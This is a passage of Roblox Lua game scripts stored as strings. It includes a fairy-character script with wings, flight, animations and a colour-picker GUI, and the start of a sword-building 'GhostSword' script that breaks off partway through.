w1m.MeshId = "rbxassetid://19367766"
w1m.TextureId = "rbxassetid://9854798"
w1m.Scale = Vector3.new(1.05, 1.05, 1.05)
local w1 = weld(tor,w1,CFrame.new(-.1,0.55,1.6))

local w2 = NP()
w2.Transparency = .1
local w2m = Instance.new("SpecialMesh",w2)
w2m.MeshId = "rbxassetid://19367766"
w2m.TextureId = "rbxassetid://9854798"
w2m.Scale = Vector3.new(1.05, 1.05, 1.05)
local w2 = weld(tor,w2,CFrame.new(.1,0.55,1.6))

local h = NP()
local hm = Instance.new("SpecialMesh",h)
hm.MeshId = "rbxassetid://154820214"
hm.TextureId = "rbxassetid://91740209"
hm.Scale = Vector3.new(1, 1, 1)
weld(hd,h,CFrame.new(0,0.2,0))

for i,v in pairs(char:GetChildren()) do
        if v:IsA("BasePart") then
                v.Material = "SmoothPlastic"
                v.TopSurface,v.BottomSurface,v.FrontSurface,v.BackSurface,v.LeftSurface,v.RightSurface = 10,10,10,10,10,10
        end
end

do
        if modelScale ~= 1 then
                for i,v in pairs(c0) do
                        c0[i] = (v-v.p) + v.p*modelScale
                end
                for i,v in pairs(c1) do
                        c1[i] = (v-v.p) + v.p*modelScale
                end
                local Joints = {}
            local gtJoints,gtParts;

            local function gtCFrame(cf)
                return (cf-cf.p) + cf.p * modelScale
            end

            function gtJoints(p)
                for i,v in pairs(p:GetChildren()) do
                    if v:IsA("JointInstance") then
                        table.insert(Joints,{v,v.Part0,v.Part1})
                        v.Part0 = nil
                        v.Part1 = nil
                        v.C0 = (v.C0-(v.C0.p)) + (v.C0.p * modelScale)
                        v.C1 = (v.C1-(v.C1.p)) + (v.C1.p * modelScale)
                    end
                    gtJoints(v)
                end
            end

            function gtParts(p)
                for i,v in pairs(p:GetChildren()) do
                    if v:IsA("BasePart") then
                        pcall(function() v.FormFactor = "Custom" end)
                        local oldz = v.Size
                        local cf = tor.CFrame:toObjectSpace(v.CFrame)
                        v.Size = v.Size * modelScale
                        v.CFrame = tor.CFrame * gtCFrame(cf)
                        local mesh = nil
                        for i,t in pairs(v:GetChildren()) do
                            if t:IsA("DataModelMesh") then
                                mesh = t
                            end
                        end
                        if mesh == nil and v:IsA("Part") and v.Shape == Enum.PartType.Ball then
                            mesh = Instance.new("SpecialMesh",v)
                            mesh.MeshType = Enum.MeshType.Sphere
                        end
                        if mesh == nil and ((v:IsA("Part") and v.Shape == Enum.PartType.Block) or v:IsA("Seat") or v:IsA("VehicleSeat")) then
                            mesh = Instance.new("BlockMesh",v)
                        end
                        if mesh ~= nil then
                                if mesh:IsA("SpecialMesh") and mesh.MeshType == Enum.MeshType.FileMesh then
                                        mesh.Scale = mesh.Scale * modelScale
                                else
                                mesh.Scale = mesh.Scale*(oldz*modelScale)/v.Size
                            end
                        end
                    end
                    gtParts(v)
                end
            end
            gtJoints(char)
            gtParts(char)
            for i,v in pairs(Joints) do
                v[1].Part0 = v[2]
                v[1].Part1 = v[3]
            end
        end
end
rs.C0,rs.C1 = c0.rs,c1.rs
ls.C0,ls.C1 = c0.ls,c1.ls
rh.C0,rh.C1 = c0.rh,c1.rh
lh.C0,lh.C1 = c0.lh,c1.lh
nk.C0,nk.C1 = c0.nk,c1.nk
tw.C0,tw.C1 = c0.tw,c1.tw

local w10,w20 = w1.C0,w2.C0

local pl = tor:FindFirstChild("FairyLight") or Instance.new("PointLight",tor)
pl.Name = "FairyLight"
pl.Shadows = false
pl.Range = 8
pl.Brightness = 10

local sparkles = tor:FindFirstChild("FairySparkles") or Instance.new("Sparkles",tor)
sparkles.Name = "FairySparkles"


local outfit = 0
local outfitparts = {ra,la,rl,ll,tor}
local outfits = {
        {{106705109},{106705077},{106703301},{106703213},{106705037}}
}


local mycolor = ll.BrickColor.Color
local mycolor2 = mycolor

function setOutfit()
        local of = outfits[outfit]
        if of then
                for i,v in pairs(outfitparts) do
                        local mesh = v:FindFirstChild("outfitMesh")
                        local meshdata = outfits[outfit][i]
                        if not mesh then
                                mesh = Instance.new("SpecialMesh",v)
                                mesh.Name = "outfitMesh"
                                mesh.TextureId = "rbxassetid://9854798"
                        end
                        mesh.Scale =(meshdata[2] or Vector3.new(1,1,1)) * modelScale
                        mesh.MeshId = "rbxassetid://"..meshdata[1]
                        mesh.VertexColor = Vector3.new(mycolor2.r,mycolor2.g,mycolor2.b)
                end
        else
                for i,v in pairs(outfitparts) do
                        pcall(function() v.outfitMesh:Destroy() end)
                end
        end
end
setOutfit()

local senabled = true
local lenabled = true
function changeColor()
        for i,v in pairs(char:GetChildren()) do
                if v:IsA("BasePart") then
                        v.BrickColor = BrickColor.new(mycolor)
                end
        end
        local mc1 = Vector3.new(mycolor.r,mycolor.g,mycolor.b)
        local mc2 = Vector3.new(mycolor2.r,mycolor2.g,mycolor2.b)
        w1m.VertexColor,w2m.VertexColor,hm.VertexColor = mc1,mc1,mc2
        for i,v in pairs(outfitparts) do
                local mesh = v:FindFirstChild("outfitMesh")
                if mesh then
                        mesh.VertexColor = mc2
                end
        end
        pl.Color = mycolor
        sparkles.SparkleColor = mycolor
end
changeColor()

do
        pcall(function() plr.PlayerGui.fairyColoring:Destroy() end)
        local scr = Instance.new("ScreenGui",plr.PlayerGui)
        scr.Name = "fairyColoring"
        local fr = Instance.new("Frame",scr)
        fr.Size = UDim2.new(0,-150,0,-65)
        fr.BackgroundColor3 = Color3.new(1,1,1)
        fr.BorderColor3 = Color3.new(.05,.05,.05)
        fr.BackgroundTransparency = .8
        fr.Position = UDim2.new(1,0,1,scr.Parent:FindFirstChild("PandaHelpNotify") and -20 or 0)
        fr.ZIndex = 9
        local am = 75
        local rval,gval,bval = mycolor.r,mycolor.g,mycolor.b
        local r = Instance.new("TextButton",fr)
        r.BackgroundTransparency = 1
        r.Size = UDim2.new(0,75,0,15)
        r.Position = UDim2.new(0,5,0,5)
        r.TextColor3 = Color3.new(1,1,1)
        r.TextStrokeTransparency = .4
        for i=1,am do
                local t = Instance.new("ImageLabel",r)
                t.BorderSizePixel = 0
                t.Size = UDim2.new(1/am,0,1,0)
                t.Position = UDim2.new((i-1)/am,0,0,0)
                t.Name = i
                t.ZIndex = 10
        end
        local rb = Instance.new("ImageLabel",r)
        rb.ZIndex = 10
        rb.Size = UDim2.new(0,2,1,-2)
        rb.BackgroundColor3 = Color3.new(0,0,0)
        rb.BackgroundTransparency = .5
        rb.BorderColor3 = Color3.new(.4,.4,.4)
        rb.Name = "b"
        local g = r:Clone()
        g.Parent = fr
        g.Position = UDim2.new(0,5,0,25)
        local b = r:Clone()
        b.Parent = fr
        b.Position = UDim2.new(0,5,0,45)
        r.ZIndex,g.ZIndex,b.ZIndex = 10,10,10
        local prev = Instance.new("TextButton",fr)
        prev.Size = UDim2.new(0,55,0,45)
        prev.Position = UDim2.new(0,90,0,5)
        prev.ZIndex = 10
        prev.BorderColor3 = Color3.new(.2,.2,.2)
        prev.TextColor3 = Color3.new(1,1,1)
        prev.TextStrokeTransparency = .4
        prev.TextYAlignment = "Bottom"
        prev.FontSize = "Size8"
        prev.TextWrapped = true
        local res = Instance.new("TextButton",fr)
        res.Size = UDim2.new(0,55,0,9)
        res.Position = UDim2.new(0,90,0,51)
        res.ZIndex = 10
        res.BorderColor3 = Color3.new(.2,.2,.2)
        res.BackgroundColor3 = Color3.new(.5,0,0)
        res.TextColor3 = Color3.new(1,1,1)
        res.Text = "reset"
        res.FontSize = "Size8"
        local mode = 0
        local function update(set)
                r.b.Position = UDim2.new(rval,-1,0,1)
                g.b.Position = UDim2.new(gval,-1,0,1)
                b.b.Position = UDim2.new(bval,-1,0,1)
                local col = Color3.new(rval,gval,bval)
                prev.BackgroundColor3 = mode == 1 and mycolor2 or mycolor
                prev.Text = ""
                r.Text = math.floor(rval*255+.5)
                g.Text = math.floor(gval*255+.5)
                b.Text = math.floor(bval*255+.5)
                for i,v in pairs(r:GetChildren()) do
                        local n = tonumber(v.Name)
                        if n then
                                local sc = n/am
                                v.BackgroundColor3 = Color3.new(sc,gval,bval)
                        end
                end
                for i,v in pairs(g:GetChildren()) do
                        local n = tonumber(v.Name)
                        if n then
                                local sc = n/am
                                v.BackgroundColor3 = Color3.new(rval,sc,bval)
                        end
                end
                for i,v in pairs(b:GetChildren()) do
                        local n = tonumber(v.Name)
                        if n then
                                local sc = n/am
                                v.BackgroundColor3 = Color3.new(rval,gval,sc)
                        end
                end
                if set ~= false then
                        if mode == 0 then
                                mycolor = col
                        end
                        if mode == 1 then
                                mycolor2 = col
                        end
                        changeColor()
                end
        end
        update()
        local rd,gd,bd = false,false,false
        r.MouseButton1Down:connect(function(x,y) rd = true rval = (x-r.AbsolutePosition.X)/r.AbsoluteSize.X update()  end)
        r.MouseButton1Up:connect(function() rd = false end)
        r.MouseLeave:connect(function() rd = false end)
        r.MouseMoved:connect(function(x,y) if not rd then return end rval = (x-r.AbsolutePosition.X)/r.AbsoluteSize.X update() end)
        g.MouseButton1Down:connect(function(x,y) gd = true gval = (x-g.AbsolutePosition.X)/g.AbsoluteSize.X update() end)
        g.MouseButton1Up:connect(function() gd = false end)
        g.MouseLeave:connect(function() gd = false end)
        g.MouseMoved:connect(function(x,y) if not gd then return end gval = (x-g.AbsolutePosition.X)/g.AbsoluteSize.X update() end)
        b.MouseButton1Down:connect(function(x,y) bd = true bval = (x-b.AbsolutePosition.X)/b.AbsoluteSize.X update() end)
        b.MouseButton1Up:connect(function() bd = false end)
        b.MouseLeave:connect(function() bd = false end)
        b.MouseMoved:connect(function(x,y) if not bd then return end bval = (x-b.AbsolutePosition.X)/b.AbsoluteSize.X update() end)
        res.MouseButton1Click:connect(function()
                rval,gval,bval = themeColor.Color.r,themeColor.Color.g,themeColor.Color.b
                update()
        end)

        local modebtn = Instance.new("TextButton",fr)
        modebtn.Position = UDim2.new(1,-150,0,-15)
        modebtn.Size = UDim2.new(0,49,0,14)
        modebtn.BackgroundColor3 = Color3.new(1,1,0)
        modebtn.BackgroundTransparency = .6
        modebtn.TextScaled = true
        modebtn.Font = 4
        modebtn.TextColor3 = Color3.new(1,1,1)
        modebtn.TextStrokeTransparency = .7
        modebtn.Text = "Body"
        modebtn.MouseButton1Click:connect(function()
                mode = (mode+1)%2
                local col = mode == 1 and mycolor2 or mycolor
                rval,gval,bval = col.r,col.g,col.b
                modebtn.Text = mode == 0 and "Body" or "Clothes"
                update(false)
        end)

        local outfitbtn = Instance.new("TextButton",fr)
        outfitbtn.Position = UDim2.new(1,-150,0,-30)
        outfitbtn.Size = UDim2.new(0,49,0,14)
        outfitbtn.BackgroundColor3 = Color3.new(1,1,0)
        outfitbtn.BackgroundTransparency = .6
        outfitbtn.TextScaled = true
        outfitbtn.Font = 4
        outfitbtn.TextColor3 = Color3.new(1,1,1)
        outfitbtn.TextStrokeTransparency = .7
        outfitbtn.Text = "Outfit"
        outfitbtn.MouseButton1Click:connect(function()
                outfit = (outfit+1)%(#outfits+1)
                setOutfit()
        end)

        local sparklebtn = Instance.new("TextButton",fr)
        sparklebtn.Position = UDim2.new(1,-100,0,-15)
        sparklebtn.Size = UDim2.new(0,100,0,14)
        sparklebtn.BackgroundColor3 = Color3.new(0,1,0)
        sparklebtn.BackgroundTransparency = .6
        sparklebtn.TextScaled = true
        sparklebtn.Font = 4
        sparklebtn.TextColor3 = Color3.new(1,1,1)
        sparklebtn.TextStrokeTransparency = .7
        sparklebtn.Text = "Sparkles"
        sparklebtn.MouseButton1Click:connect(function()
                senabled = not senabled
                sparklebtn.BackgroundColor3 = senabled and Color3.new(0,1,0) or Color3.new(1,0,0)
        end)
        local lightbtn = Instance.new("TextButton",fr)
        lightbtn.Position = UDim2.new(1,-100,0,-30)
        lightbtn.Size = UDim2.new(0,100,0,14)
        lightbtn.BackgroundColor3 = Color3.new(0,1,0)
        lightbtn.BackgroundTransparency = .6
        lightbtn.TextScaled = true
        lightbtn.Font = 4
        lightbtn.TextColor3 = Color3.new(1,1,1)
        lightbtn.TextStrokeTransparency = .7
        lightbtn.Text = "Light"
        lightbtn.MouseButton1Click:connect(function()
                lenabled = not lenabled
                lightbtn.BackgroundColor3 = lenabled and Color3.new(0,1,0) or Color3.new(1,0,0)
        end)
end


local gyro = root:FindFirstChild("RootGyro") or Instance.new("BodyGyro",root)
gyro.maxTorque = Vector3.new()
gyro.Name = "RootGyro"

local vel = root:FindFirstChild("RootVel") or Instance.new("BodyVelocity",root)
vel.maxForce = Vector3.new()
vel.Name = "RootVel"
vel.P = 4000

local flying = false
local state = "idle"
local kd = {}
local humspd = 0
local flyspeed = 0
local flystop = 0
local sitting = false
local holding = false

m.KeyDown:connect(function(k)
        local now = tick()
        kd[k] = now
        if k == " " and not flying then
                pcall(function() sitting:Destroy() end)
                sitting = nil
                state = "fly"
                flying = true
                flydir = (root.CFrame.lookVector*Vector3.new(1,0,1)).unit
        elseif k == " " and state == "fly" then
                flying = false
                state = "idle"
                flystop = tick()
        elseif k == "x" and m.Target and (root.Position-m.Hit.p).magnitude < 20*modelScale then
                local tar = m.Target
                local cf = tar.CFrame:toObjectSpace(m.Hit)
                local siz = tar.Size/2
                local cfr
                local rx,ry,rz = 0,0,0
                local lv = tar.CFrame:vectorToObjectSpace(root.CFrame.lookVector)
                if math.abs(cf.Y-siz.Y) < .03 then
                        cfr = CFrame.new(cf.p + Vector3.new(0,3*modelScale,0)) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
                elseif math.abs(-cf.Y-siz.Y) < .03 then
                        cfr = CFrame.new(cf.p - Vector3.new(0,3*modelScale,0)) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),math.pi)
                elseif math.abs(cf.X-siz.X) < .03 then
                        cfr = CFrame.new(cf.p + Vector3.new(3*modelScale,0,0)) * CFrame.Angles(0,0,-math.pi/2) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
                elseif math.abs(-cf.X-siz.X) < .03 then
                        cfr = CFrame.new(cf.p - Vector3.new(3*modelScale,0,0)) * CFrame.Angles(0,0,math.pi/2) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
                elseif math.abs(cf.Z-siz.Z) < .03 then
                        cfr = CFrame.new(cf.p + Vector3.new(0,0,3*modelScale)) * CFrame.Angles(math.pi/2,0,0) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
                elseif math.abs(-cf.Z-siz.Z) < .03 then
                        cfr = CFrame.new(cf.p - Vector3.new(0,0,3*modelScale)) * CFrame.Angles(-math.pi/2,0,0) * CFrame.Angles(0,math.atan2(-lv.X,-lv.Z),0)
                end
                if cfr then
                        pcall(function() sitting:Destroy() end)
                        flying = false
                        state = "sit"
                        if m.Target.Anchored then
                                sitting = {tar = tar, cf = cfr}
                        else
                                sitting = weld(tar,root,cfr)
                        end
                end
        end
end)
m.KeyUp:connect(function(k)
        kd[k] = nil
end)

hum.Running:connect(function(spd)
        if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
        humspd = spd
        state = flying and "fly" or (spd < 1 and "idle" or "walk")
end)
hum.Climbing:connect(function(spd)
        if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
        humspd = spd
        state = flying and "fly" or (spd < 1 and "idle" or "walk")
end)
hum.Seated:connect(function(a)
        state = a and "sit" or humspd > 0 and "idle" or "walk"
end)

hum.Changed:connect(function()
        if hum.Jump then
                hum.Jump = false
        end
end)

hum.FreeFalling:connect(function()
        if state ~= "idle" and state ~= "walk" and state ~= "inair" then return end
        state = math.abs(tor.Velocity.Y) > 1 and "inair" or state
end)

hum.FallingDown:connect(function(a)
        if not a then return end
        state = "inair"
end)



while true do
        runservice.RenderStepped:wait()
        local cam = workspace.CurrentCamera
        local alpha = .2
        sparkles.Enabled = senabled and flying and tor.Velocity.magnitude > 3
        pl.Enabled = lenabled
        if state ~= "fly" then
                if type(sitting) == "table" then
                        gyro.maxTorque = Vector3.new(1,1,1)*4e6
                        vel.maxForce = Vector3.new(1,1,1)*4e5
                        gyro.cframe = sitting.tar.CFrame * sitting.cf
                        vel.velocity = (gyro.cframe.p-root.Position)*10
                else
                        gyro.maxTorque,vel.maxForce = Vector3.new(),Vector3.new()
                end
        end
        if sitting then
                state = "sit"
        end
        tw.MaxVelocity,rh.MaxVelocity,lh.MaxVelocity,rs.MaxVelocity,ls.MaxVelocity,nk.MaxVelocity = 0,0,0,0,0,0
        tw.CurrentAngle,rh.CurrentAngle,lh.CurrentAngle,rs.CurrentAngle,ls.CurrentAngle,nk.CurrentAngle = 0,0,0,0,0,0

        local hasRobe = outfit == 1

        if state == "idle" then
                hum.PlatformStand = false
                local breathing = math.sin(tick()*2)
                local tilt = .02 + breathing*.03
                w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
                w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)

                tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
                rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt,hasRobe and 0 or -.1,hasRobe and 0 or .06),alpha)
                lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt,hasRobe and 0 or .1,hasRobe and 0 or -.06),alpha)
                rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt,0,.1),alpha)
                ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt,0,-.1),alpha)
                nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.05-.03,0,0),alpha)
        elseif state == "inair" then
                hum.PlatformStand = false
                local wings = math.sin(tick()*80)
                w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.15+wings*.3,0),.6)
                w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.15-wings*.3,0),.6)
                local alpha = .15
                local tilt = .05
                local wavey = math.sin(tick()*3)
                tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
                rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+wavey*.1,0,hasRobe and 0 or .02),alpha)
                lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt-wavey*.1,0,hasRobe and 0 or -.02),alpha)
                rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt-wavey*.07,0,.01),alpha)
                ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+wavey*.07,0,-.01),alpha)
                nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+.2,0,0),alpha)
        elseif state == "walk" then
                hum.PlatformStand = false
                local walking = math.sin(tick()*25)
                local breathing = math.sin(tick()*2)
                local tilt = -.03-breathing*.02+walking*.01
                alpha = .6
                w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.05+breathing*.01+walking*.05,0),alpha)
                w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.05-breathing*.01+walking*.05,0),alpha)

                tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,-walking*.08,0),alpha)
                rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+walking*.3,0,hasRobe and 0 or .02),alpha)
                lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt-walking*.3,0,hasRobe and 0 or -.02),alpha)
                rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt+.05-walking*.25,0,.01),alpha)
                ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+.05+walking*.25,0,-.01),alpha)
                nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.04,walking*.07,0),alpha)
        elseif state == "sit" then
                hum.Sit = false
                hum.PlatformStand = true
                local breathing = math.sin(tick()*2)
                local upvec = root.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))
                if upvec.Y > .4 then
                        local tilt = -.55+breathing*.015
                        w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
                        w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
                        tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0)+Vector3.new(0,-1.7,0)*modelScale,alpha)
                        rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+1.57,0,hasRobe and 0 or .6),alpha)
                        lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt+1.57,0,hasRobe and 0 or -.6),alpha)
                        rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt+.3,0,-.1)*CFrame.Angles(hasRobe and .3 or 0,hasRobe and .2 or 0,hasRobe and -.2 or 0)+(hasRobe and 0 or 1)*Vector3.new(-.85,-.25,-.25)*modelScale,alpha)
                        ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+.3,0,.1)*CFrame.Angles(hasRobe and .3 or 0,hasRobe and -.2 or 0,hasRobe and .2 or 0)+(hasRobe and 0 or 1)*Vector3.new(.85,-.25,-.25)*modelScale,alpha)
                        nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.04-.03,0,math.sin(tick()*4)*.06),alpha)
                else -- wallhug
                        local breathing = math.sin(tick()*5)
                        local tilt = -1.55+breathing*.015
                        w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
                        w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
                        tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0)+Vector3.new(0,-2.5,0)*modelScale,alpha)
                        rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(.2,0,hasRobe and 0 or .5)+Vector3.new(0,hasRobe and 0 or .2,0)*modelScale,alpha)
                        lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(.2,0,hasRobe and 0 or -.5)+Vector3.new(0,hasRobe and 0 or .2,0)*modelScale,alpha)
                        rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(2.9,0,.8)+Vector3.new(-.2,.4,0)*modelScale,alpha)
                        ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(2.9,0,-.8)+Vector3.new(.2,.4,0)*modelScale,alpha)
                        nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(breathing*.04+.7,0,0),alpha)
                end
        elseif state == "fly" then
                hum.PlatformStand = true
                gyro.maxTorque = Vector3.new(1,1,1)*4e6
                vel.maxForce = Vector3.new(1,1,1)*4e5

                local velocity = Vector3.new((kd.d and 1 or 0)+(kd.a and -1 or 0),0,(kd.s and 1 or 0)+(kd.w and -1 or 0))
                velocity = cam.CoordinateFrame:vectorToWorldSpace(velocity)
                local maxspeed = 40-(velocity.magnitude > 0 and velocity.unit.Y*20 or 0)
                if velocity.magnitude > 0 then
                        flyspeed = lerp(flyspeed,maxspeed,.1)
                        flydir = flydir:Lerp(velocity.unit,.4).unit
                        hoverheight = nil
                else
                        flyspeed = lerp(flyspeed,0,.3)
                        flydir = (flydir*Vector3.new(1,0,1)).unit
                        hoverheight = hoverheight or root.Position.Y
                end
                vel.velocity = flydir.unit * flyspeed
                if hoverheight then
                        vel.velocity = vel.velocity + Vector3.new(0,hoverheight-root.Position.Y,0)
                end
                gyro.cframe = CFrame.new(Vector3.new(),flydir*Vector3.new(1,0,1))

                rl.CanCollide,ll.CanCollide = true,true

                local wings = math.sin(tick()*80)
                w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.15+wings*.3,0),.6)
                w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.15-wings*.3,0),.6)
                local alpha = .15
                local flytilt = (flyspeed/maxspeed)
                local tilt = flytilt*-1.4 + math.asin(gyro.cframe:vectorToObjectSpace(flydir).unit.Y)
                local wavey = math.sin(tick()*6)
                tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
                rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(wavey*.1,hasRobe and 0 or -.08,hasRobe and 0 or .1),alpha)
                lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-wavey*.1,hasRobe and 0 or .08,hasRobe and 0 or -.1),alpha)
                rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-wavey*.15,-.08,.1),alpha)
                ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(wavey*.15,.08,-.1),alpha)
                nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt*.8,0,0),alpha)
        end
end
]==]

GhostSword = [==[
Me = game:service("Players").LocalPlayer
Char = Me.Character
lastpoint = Vector3.new(0, 0, 0)
Modes = {"Ranged", "Blocking", "Normal"}
Mode = Modes[Number]
leds = {}
Jumped = 0
Jumping = false
AbletoJump = true
Char.Humanoid.WalkSpeed = 30
Combo = 0
Guarding = false
attackdebounce = false
Selected = false
NormalModeColor = "Cyan"
RangedModeColor = "Really red"
BlockModeColor = "New Yeller"
BaseColor = "White"
Activated = false
LeftArm = Char["Left Arm"]
RightArm = Char["Right Arm"]
necko=CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
RSH, LSH = nil, nil
if script.Parent.className ~= "HopperBin" then
h = Instance.new("HopperBin", Me.Backpack)
h.Name = "[[>> BrannZeus <<]] Blade"
script.Name = "Made by: [[>> BrannZeus© <<]]"
script.Parent = h
end
bin = script.Parent
Model = Instance.new("Model", Char)
Model.Name = "[[>> BrannZeus <<]] Blade"
Make = {["P"] = function(parent, x,y,z, color, transparency, cancollide, anchored)
c = Instance.new("Part",Model)
c.TopSurface,c.BottomSurface = 0,0
c.Locked = true
c.formFactor = "Custom"
c.Size = Vector3.new(x,y,z)
if color ~= "random" then
c.BrickColor = BrickColor.new(color)
else c.BrickColor = BrickColor:random() end
c.Transparency = transparency
c.CanCollide = cancollide
if anchored ~= nil then c.Anchored = anchored end
if parent ~= nil then c.Parent = parent end
return c
end;
["BG"] = function(parent)
local c = Instance.new("BodyGyro",parent)
c.P = 10e+15
c.cframe = parent.CFrame
c.maxTorque = Vector3.new(c.P,c.P,c.P)
return c
end;
["BP"] = function(parent, pos)
local bp = Instance.new("BodyPosition",parent)
bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
bp.position = pos
return bp
end;
["F"] = function(parent, size, heat, color, secondarycolor, enabled)
f = Instance.new("Fire",parent)
f.Size = size
f.Heat = heat
if enabled ~= nil then f.Enabled = enabled end
if color ~= nil then f.Color = BrickColor.new(color).Color end
if secondarycolor ~= nil then f.SecondaryColor = BrickColor.new(secondarycolor).Color end
return f
end;
["FM"] = function(parent, meshid, x,y,z, meshtexture)
if meshid == "cylinder" then
mesh = Instance.new("CylinderMesh",parent)
mesh.Scale = Vector3.new(x,y,z)
return mesh
else
mesh = Instance.new("SpecialMesh",parent)

if meshid ~= "sphere" then
if type(meshid) == "number" then mesh.MeshId = "rbxassetid://"..meshid else
mesh.MeshId = "rbxassetid://"..meshids[meshid]
end

else mesh.MeshType = 3 end

mesh.Scale = Vector3.new(x,y,z)

if meshtexture ~= nil then
if type(meshtexture) == "number" then mesh.TextureId = "rbxassetid://"..meshtexture else
mesh.TextureId = "rbxassetid://"..textureids[meshtexture] end

end

return mesh
end
end}
M = {["Cos"] = function(a) return math.cos(a) end;
["Sin"] = function(a) return math.sin(a) end;
["Rad"] = function(a) return math.rad(a) end}
FakeTorso = Make.P(Char, 1,1,1, "White", 1, false, true)
FakeTorso.BrickColor = Char.Torso.BrickColor
Mesh = Instance.new("BlockMesh", FakeTorso)
Mesh.Scale = Char.Torso.Size
BaseThing = Make.P(Model, 1,1,1, NormalModeColor, 1 ,false, true)
BaseMesh = Make.FM(BaseThing,68075671 , 0.5, 0.5, 0.5)
Handle = Make.P(Model, 0.3,1.5,0.3, BaseColor, 1 ,false, true)
Tip2 = Make.P(Model, 0.23, 0.1, 0.7, NormalModeColor, 1, false, true)
Tip1 = Make.P(Model, 0.23, 0.1, 0.7, NormalModeColor, 1, false, true)
BigTip1 = Make.P(Model, 0.22, 0.4, 0.8, BaseColor, 1, false, true)
BigTip2 = Make.P(Model, 0.22, 0.4, 0.8, BaseColor, 1, false, true)
HitBox = Make.P(Model, 2.5, 0.25, 4.3, "White", 1, false, true)
HitBox.Name = "HitBox"
Diamond = Make.P(Model, 1,1,1, BaseColor, 1 ,false, true)
DiamondMesh = Make.FM(Diamond,9756362 , 0.3, 0.3, 0.5)
HandleSturf = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
HandleSturf2 = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
HandleSturf3 = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
LongSword = Make.P(Model, 0.8, 0.22, 3.7, BaseColor, 1, false, true)
LongSword2 = Make.P(Model, 0.39, 0.23, 3.6, NormalModeColor, 1, false, true)
BigWedgeMesh2 = Instance.new("SpecialMesh", BigTip2)
BigWedgeMesh2.MeshType = "Wedge"
BigWedgeMesh1 = Instance.new("SpecialMesh", BigTip1)
BigWedgeMesh1.MeshType = "Wedge"
WedgeMesh1 = Instance.new("SpecialMesh", Tip1)
WedgeMesh1.MeshType = "Wedge"
WedgeMesh1.Scale = Vector3.new(1, 1, 1)
WedgeMesh2 = Instance.new("SpecialMesh", Tip2)
WedgeMesh2.MeshType = "Wedge"
WedgeMesh2.Scale = Vector3.new(1, 1, 1)
LongMesh = Instance.new("BlockMesh", LongSword)
LongMesh.Scale = Vector3.new(1, 1, 1)
LongMesh2 = Instance.new("BlockMesh", LongSword2)
LongMesh2.Scale = Vector3.new(1, 1, 1)
HandleWedge1 = Make.P(Model, 0.215, 0.9, 1.5, BaseColor, 1, false, true)
